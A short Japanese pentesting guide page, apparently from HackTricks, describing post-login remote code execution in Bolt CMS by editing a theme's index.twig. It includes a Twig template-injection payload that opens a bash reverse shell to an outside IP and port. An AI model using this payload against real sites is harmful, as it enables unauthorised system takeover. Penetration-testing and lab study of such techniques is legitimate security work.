# Bolt CMS {{#include ../../banners/hacktricks-training.md}} ## RCE 管理者としてログインした後(/botに移動してログインプロンプトにアクセス)、Bolt CMSでRCEを取得できます: - `Configuration` -> `View Configuration` -> `Main Configuration`を選択するか、URLパス`/bolt/file-edit/config?file=/bolt/config.yaml`に移動します。 - テーマの値を確認します。
- `File management` -> `View & edit templates`を選択します。 - 前のステップで見つけたテーマベース(この場合は`base-2021`)を選択し、`index.twig`を選択します。 - 私の場合、これはURLパス/bolt/file-edit/themes?file=/base-2021/index.twigにあります。 - [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php)を介してこのファイルにペイロードを設定します。例:`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` - 変更を保存します。
- `Maintenance` -> `Clear the cache`でキャッシュをクリアします。 - 再度、通常のユーザーとしてページにアクセスすると、ペイロードが実行されるはずです。 {{#include ../../banners/hacktricks-training.md}}